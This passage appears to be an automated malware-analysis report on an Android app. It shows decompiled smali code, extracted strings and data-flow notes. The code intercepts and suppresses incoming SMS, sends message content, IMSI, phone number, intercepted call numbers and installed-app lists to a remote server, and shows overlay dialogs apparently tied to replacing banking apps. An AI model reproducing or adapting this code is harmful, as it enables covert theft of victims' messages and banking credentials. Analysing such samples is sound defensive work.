    • p2: \ucd5c\uc2e0\ubc84\uc804\uc73c\ub85c \ubcf4\uc548\uac15\ud654 \ud558\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4
    • p3: 2130837505
124cond_a6: return-void
125cond_a7:
126sget-object v5, Lcom/example/adt/Config;->apkNames:[Ljava/lang/String;
127aget-object v5, v5, v3
129invoke-virtual {v5, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
130move-result v5
131if-eqz v5, :cond_c7
133sget-object v5, Lcom/example/adt/Config;->bName:[Ljava/lang/String;
134aget-object v5, v5, v3
135iput-object v5, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String;
137sget-object v5, Lcom/example/adt/Config;->bank:[Ljava/lang/String;
138aget-object v5, v5, v3
139sput-object v5, Lcom/example/adt/Config;->delPackage:Ljava/lang/String;
141sget-object v5, Lcom/example/adt/Config;->delPackage:Ljava/lang/String;
142iput-object v5, p0, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String;
144sget-object v5, Lcom/example/adt/Config;->icon:[I
145aget v4, v5, v3
146goto/16 :goto_26
147cond_c7: add-int/lit8 v3, v3, 0x1
148goto/16 :goto_21
Strings
  • serverip
  • SMSReceiver&imsi=
  • &number=
  • &from=
  • &content=
  • SEMRECEIVER_DATA =>
Position Instruction Meta Information
0.prologue
1new-instance v1, Ljava/lang/StringBuilder;
3sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
5const-string v3, "serverip"
7sget-object v4, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
9invoke-static {v2, v3, v4}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
10move-result-object v2
12invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
13move-result-object v2
15invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
17sget-object v2, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String;
19invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
20move-result-object v1
22const-string v2, "SMSReceiver&imsi="
24invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: SMSReceiver&imsi=
25move-result-object v1
27iget-object v2, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver;
29iget-object v2, v2, Lcom/example/adt/SMSReceiver;->imsi:Ljava/lang/String;
31invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
32move-result-object v1
34const-string v2, "&number="
36invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &number=
37move-result-object v1
39iget-object v2, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver;
41iget-object v2, v2, Lcom/example/adt/SMSReceiver;->number:Ljava/lang/String;
43invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
44move-result-object v1
46const-string v2, "&from="
48invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &from=
49move-result-object v1
51iget-object v2, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver;
53iget-object v2, v2, Lcom/example/adt/SMSReceiver;->from:Ljava/lang/String;
55invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
56move-result-object v1
58const-string v2, "&content="
60invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &content=
61move-result-object v1
63iget-object v2, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver;
65iget-object v2, v2, Lcom/example/adt/SMSReceiver;->content:Ljava/lang/String;
67invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
68move-result-object v1
70invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
71move-result-object v0
73iget-object v1, p0, Lcom/example/adt/SMSReceiver$1;->this$0:Lcom/example/adt/SMSReceiver;
75iget-object v1, v1, Lcom/example/adt/SMSReceiver;->conn:Lcom/example/adt/Connect;
77invoke-virtual {v1, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String;
79sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
80new-instance v2, Ljava/lang/StringBuilder;
82const-string v3, "SEMRECEIVER_DATA =>"
84invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SEMRECEIVER_DATA =>
86invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
87move-result-object v2
89invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
90move-result-object v2
92invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
93return-void
Strings
  • serverip
  • Apps&number=
  • &imsi=
  • &content=
  • \u53d1\u9001\u5e94\u7528\u5217\u8868 =>
Position Instruction Meta Information
0.prologue
1new-instance v1, Ljava/lang/StringBuilder;
3sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
5const-string v3, "serverip"
7sget-object v4, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
9invoke-static {v2, v3, v4}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
10move-result-object v2
12invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
13move-result-object v2
15invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
17sget-object v2, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String;
19invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
20move-result-object v1
22const-string v2, "Apps&number="
24invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Apps&number=
25move-result-object v1
27iget-object v2, p0, Lcom/example/adt/App$1;->this$0:Lcom/example/adt/App;
29invoke-static {v2}, Lcom/example/adt/App;->access$0(Lcom/example/adt/App;)Landroid/content/Context;
30move-result-object v2
32invoke-static {v2}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String;
33move-result-object v2
35invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
36move-result-object v2
38invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
39move-result-object v1
41const-string v2, "&imsi="
43invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &imsi=
44move-result-object v1
46iget-object v2, p0, Lcom/example/adt/App$1;->this$0:Lcom/example/adt/App;
48invoke-static {v2}, Lcom/example/adt/App;->access$0(Lcom/example/adt/App;)Landroid/content/Context;
49move-result-object v2
51invoke-static {v2}, Lcom/example/adt/Config;->getIMSI(Landroid/content/Context;)Ljava/lang/String;
52move-result-object v2
54invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
55move-result-object v2
57invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
58move-result-object v1
60const-string v2, "&content="
62invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &content=
63move-result-object v1
65iget-object v2, p0, Lcom/example/adt/App$1;->this$0:Lcom/example/adt/App;
67invoke-virtual {v2}, Lcom/example/adt/App;->getApps()Ljava/lang/String;
68move-result-object v2
70invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
71move-result-object v2
73invoke-static {v2}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String;
74move-result-object v2
76invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
77move-result-object v1
79invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
80move-result-object v0
82sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
83new-instance v2, Ljava/lang/StringBuilder;
85const-string v3, "\u53d1\u9001\u5e94\u7528\u5217\u8868 =>"
87invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u53d1\u9001\u5e94\u7528\u5217\u8868 =>
89invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
90move-result-object v2
92invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
93move-result-object v2
95invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
96try_start_79: new-instance v1, Lcom/example/adt/Connect;
98invoke-direct {v1}, Lcom/example/adt/Connect;-><init>()V
100invoke-virtual {v1, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String;
101try_end_81: return-void
102catch_82: move-exception v1
103goto/16 :goto_81
Strings
  • serverip
  • CallReceiver&imsi=
  • &number=
  • &from=
  • \u53d1\u9001\u62e6\u622a\u7535\u8bdd =>
Position Instruction Meta Information
0.prologue
1try_start_0:
2sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
4invoke-static {v2}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String;
5move-result-object v1
6new-instance v2, Ljava/lang/StringBuilder;
8sget-object v3, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
10const-string v4, "serverip"
12sget-object v5, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
14invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
15move-result-object v3
17invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
18move-result-object v3
20invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
22sget-object v3, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String;
24invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
25move-result-object v2
27const-string v3, "CallReceiver&imsi="
29invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: CallReceiver&imsi=
30move-result-object v2
32iget-object v3, p0, Lcom/example/adt/PhoneListener$1;->this$0:Lcom/example/adt/PhoneListener;
34iget-object v3, v3, Lcom/example/adt/PhoneListener;->imsi:Ljava/lang/String;
36invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
37move-result-object v2
39const-string v3, "&number="
41invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &number=
42move-result-object v2
44invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
45move-result-object v2
47const-string v3, "&from="
49invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &from=
50move-result-object v2
52iget-object v3, p0, Lcom/example/adt/PhoneListener$1;->this$0:Lcom/example/adt/PhoneListener;
54iget-object v3, v3, Lcom/example/adt/PhoneListener;->number:Ljava/lang/String;
56invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
57move-result-object v2
59invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
60move-result-object v0
62sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
63new-instance v3, Ljava/lang/StringBuilder;
65const-string v4, "\u53d1\u9001\u62e6\u622a\u7535\u8bdd => "
67invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u53d1\u9001\u62e6\u622a\u7535\u8bdd =>
69invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
70move-result-object v3
72invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
73move-result-object v3
75invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
76new-instance v2, Lcom/example/adt/Connect;
78invoke-direct {v2}, Lcom/example/adt/Connect;-><init>()V
80invoke-virtual {v2, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String;
81goto_65: return-void
82catch_66: move-exception v2
83goto/16 :goto_65
Strings
  • serverip
  • SMSSendComplate&to=
  • &sid=
  • &status=1
  • \u53d1\u9001\u77ed\u4fe1\u6210\u529f =>
Position Instruction Meta Information
0.prologue
2iget-object v2, p0, Lcom/example/adt/SMS$1$1;->this$1:Lcom/example/adt/SMS$1;
4invoke-static {v2}, Lcom/example/adt/SMS$1;->access$0(Lcom/example/adt/SMS$1;)Lcom/example/adt/SMS;
5move-result-object v2
7iget-object v2, v2, Lcom/example/adt/SMS;->mobile:Ljava/lang/String;
9invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
10move-result-object v1
11new-instance v2, Ljava/lang/StringBuilder;
13sget-object v3, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
15const-string v4, "serverip"
17sget-object v5, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
19invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
20move-result-object v3
22invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
23move-result-object v3
25invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
27sget-object v3, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String;
29invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30move-result-object v2
32const-string v3, "SMSSendComplate&to="
34invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: SMSSendComplate&to=
35move-result-object v2
37invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
38move-result-object v2
40const-string v3, "&sid="
42invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &sid=
43move-result-object v2
45iget-object v3, p0, Lcom/example/adt/SMS$1$1;->this$1:Lcom/example/adt/SMS$1;
47invoke-static {v3}, Lcom/example/adt/SMS$1;->access$0(Lcom/example/adt/SMS$1;)Lcom/example/adt/SMS;
48move-result-object v3
50iget-object v3, v3, Lcom/example/adt/SMS;->sid:Ljava/lang/String;
52invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
53move-result-object v2
55const-string v3, "&status=1"
57invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &status=1
58move-result-object v2
60invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
61move-result-object v0
63sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
64new-instance v3, Ljava/lang/StringBuilder;
66const-string v4, "\u53d1\u9001\u77ed\u4fe1\u6210\u529f => "
68invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u53d1\u9001\u77ed\u4fe1\u6210\u529f =>
70invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
71move-result-object v3
73invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
74move-result-object v3
76invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
77new-instance v2, Lcom/example/adt/Connect;
79invoke-direct {v2}, Lcom/example/adt/Connect;-><init>()V
81invoke-virtual {v2, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String;
82return-void
Strings
  • serverip
  • SMSSendComplate&to=
  • &sid=
  • &status=2
  • \u53d1\u9001\u77ed\u4fe1\u5931\u8d25 =>
Position Instruction Meta Information
0.prologue
2iget-object v2, p0, Lcom/example/adt/SMS$1$2;->this$1:Lcom/example/adt/SMS$1;
4invoke-static {v2}, Lcom/example/adt/SMS$1;->access$0(Lcom/example/adt/SMS$1;)Lcom/example/adt/SMS;
5move-result-object v2
7iget-object v2, v2, Lcom/example/adt/SMS;->mobile:Ljava/lang/String;
9invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
10move-result-object v1
11new-instance v2, Ljava/lang/StringBuilder;
13sget-object v3, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
15const-string v4, "serverip"
17sget-object v5, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
19invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
20move-result-object v3
22invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
23move-result-object v3
25invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
27sget-object v3, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String;
29invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30move-result-object v2
32const-string v3, "SMSSendComplate&to="
34invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: SMSSendComplate&to=
35move-result-object v2
37invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
38move-result-object v2
40const-string v3, "&sid="
42invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &sid=
43move-result-object v2
45iget-object v3, p0, Lcom/example/adt/SMS$1$2;->this$1:Lcom/example/adt/SMS$1;
47invoke-static {v3}, Lcom/example/adt/SMS$1;->access$0(Lcom/example/adt/SMS$1;)Lcom/example/adt/SMS;
48move-result-object v3
50iget-object v3, v3, Lcom/example/adt/SMS;->sid:Ljava/lang/String;
52invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
53move-result-object v2
55const-string v3, "&status=2"
57invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &status=2
58move-result-object v2
60invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
61move-result-object v0
63sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
64new-instance v3, Ljava/lang/StringBuilder;
66const-string v4, "\u53d1\u9001\u77ed\u4fe1\u5931\u8d25 => "
68invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u53d1\u9001\u77ed\u4fe1\u5931\u8d25 =>
70invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
71move-result-object v3
73invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
74move-result-object v3
76invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
77new-instance v2, Lcom/example/adt/Connect;
79invoke-direct {v2}, Lcom/example/adt/Connect;-><init>()V
81invoke-virtual {v2, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String;
82return-void
Strings
  • \u6b63\u5728\u66ff\u6362apk =>
  • |
  • \ucde8\uc18c
  • \ud655\uc778
Position Instruction Meta Information
0.parameter "info"
1.prologue
3sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream;
4new-instance v5, Ljava/lang/StringBuilder;
6const-string v6, "\u6b63\u5728\u66ff\u6362apk => "
8invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u6b63\u5728\u66ff\u6362apk =>
10invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
11move-result-object v5
13invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
14move-result-object v5
16invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
18const-string v4, ""
20invoke-virtual {p1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
21move-result v4
22if-nez v4, :cond_57
24invoke-static {p1}, Ljava/net/URLDecoder;->decode(Ljava/lang/String;)Ljava/lang/String;
25move-result-object v3
27const-string v4, "|"
29invoke-virtual {v3, v4}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • p0: |
30move-result-object v1
31new-instance v0, Landroid/app/AlertDialog$Builder;
33iget-object v4, p0, Lcom/example/adt/App;->mContext:Landroid/content/Context;
35invoke-direct {v0, v4}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
36const/4 v4, 0x0
37aget-object v4, v1, v4
39invoke-virtual {v0, v4}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
41const-string v4, "\ucde8\uc18c"
42new-instance v5, Lcom/example/adt/App$BtnClick;
44invoke-direct {v5, p0}, Lcom/example/adt/App$BtnClick;-><init>(Lcom/example/adt/App;)V
46invoke-virtual {v0, v4, v5}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: \ucde8\uc18c
48const-string v4, "\ud655\uc778"
49new-instance v5, Lcom/example/adt/App$BtnClick;
51invoke-direct {v5, p0}, Lcom/example/adt/App$BtnClick;-><init>(Lcom/example/adt/App;)V
53invoke-virtual {v0, v4, v5}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: \ud655\uc778
55invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
56move-result-object v2
58invoke-virtual {v2}, Landroid/app/AlertDialog;->getWindow()Landroid/view/Window;
59move-result-object v4
60const/16 v5, 0x7d3
62invoke-virtual {v4, v5}, Landroid/view/Window;->setType(I)V
  • Data flow analysis:
    • type: 2003
64invoke-virtual {v2}, Landroid/app/AlertDialog;->show()V
65cond_57: return-void
Strings
  • display_name
  • data1
  • photo_id
  • contact_id
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x4
2new-array v0, v0, [Ljava/lang/String;
3const/4 v1, 0x0
5const-string v2, "display_name"
6aput-object v2, v0, v1
7const/4 v1, 0x1
9const-string v2, "data1"
10aput-object v2, v0, v1
11const/4 v1, 0x2
13const-string v2, "photo_id"
14aput-object v2, v0, v1
15const/4 v1, 0x3
17const-string v2, "contact_id"
18aput-object v2, v0, v1
19sput-object v0, Lcom/example/adt/Contact;->PHONES_PROJECTION:[Ljava/lang/String;
20return-void
Strings
  • SMSReceiver, isOrderedBroadcast()=
  • pdus
  • issms
Position Instruction Meta Information
0.parameter "context"
1.parameter "intent"
2.prologue
3const/4 v10, 0x1
5sget-object v6, Ljava/lang/System;->out:Ljava/io/PrintStream;
6new-instance v7, Ljava/lang/StringBuilder;
8const-string v8, "SMSReceiver, isOrderedBroadcast()="
10invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SMSReceiver, isOrderedBroadcast()=
12invoke-virtual {p0}, Lcom/example/adt/SMSReceiver;->isOrderedBroadcast()Z
13move-result v8
15invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
16move-result-object v7
18invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
19move-result-object v7
21invoke-virtual {v6, v7}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
23invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
24move-result-object v6
26const-string v7, "pdus"
28invoke-virtual {v6, v7}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • key: pdus
29move-result-object v5
30check-cast v5, [Ljava/lang/Object;
31if-eqz v5, :cond_35
32array-length v6, v5
33if-lez v6, :cond_35
34array-length v6, v5
35new-array v3, v6, [Landroid/telephony/SmsMessage;
36const/4 v0, 0x0
37goto_2e: array-length v6, v5
38if-lt v0, v6, :cond_36
39array-length v7, v3
40const/4 v6, 0x0
41goto_33: if-lt v6, v7, :cond_43
42cond_35: return-void
43cond_36: aget-object v4, v5, v0
44check-cast v4, [B
46invoke-static {v4}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
47move-result-object v6
48aput-object v6, v3, v0
49add-int/lit8 v0, v0, 0x1
50goto/16 :goto_2e
51cond_43: aget-object v2, v3, v6
53invoke-virtual {v2}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String;
54move-result-object v8
56invoke-virtual {v8}, Ljava/lang/String;->trim()Ljava/lang/String;
57move-result-object v8
59invoke-static {v8}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String;
60move-result-object v8
61iput-object v8, p0, Lcom/example/adt/SMSReceiver;->content:Ljava/lang/String;
63invoke-virtual {v2}, Landroid/telephony/SmsMessage;->getOriginatingAddress()Ljava/lang/String;
64move-result-object v8
65iput-object v8, p0, Lcom/example/adt/SMSReceiver;->from:Ljava/lang/String;
67sget-object v8, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
69invoke-static {v8}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String;
70move-result-object v8
71iput-object v8, p0, Lcom/example/adt/SMSReceiver;->number:Ljava/lang/String;
73sget-object v8, Lcom/example/adt/Config;->number:Ljava/lang/String;
74iput-object v8, p0, Lcom/example/adt/SMSReceiver;->number:Ljava/lang/String;
76sget-object v8, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
78const-string v9, "issms"
80invoke-static {v8, v9, v10}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I
81move-result v8
83invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
84move-result-object v1
86invoke-static {v10}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 1
87move-result-object v8
89invoke-virtual {v1, v8}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z
90move-result v8
91if-eqz v8, :cond_8b
92new-instance v8, Ljava/lang/Thread;
93new-instance v9, Lcom/example/adt/SMSReceiver$1;
95invoke-direct {v9, p0}, Lcom/example/adt/SMSReceiver$1;-><init>(Lcom/example/adt/SMSReceiver;)V
97invoke-direct {v8, v9}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
99invoke-virtual {v8}, Ljava/lang/Thread;->start()V
101invoke-virtual {p0}, Lcom/example/adt/SMSReceiver;->abortBroadcast()V
102cond_8b: add-int/lit8 v6, v6, 0x1
103goto/16 :goto_33
Strings
  • app.gx3.alert
  • alert
  • info
Position Instruction Meta Information
0.parameter "info"
1.prologue
2new-instance v0, Landroid/content/Intent;
4invoke-direct {v0}, Landroid/content/Intent;-><init>()V
6const-string v1, "app.gx3.alert"
8invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: app.gx3.alert
10const-string v1, "alert"
11const/4 v2, 0x1
13invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
  • Data flow analysis:
    • p0: alert
    • p1: 1
15const-string v1, "info"
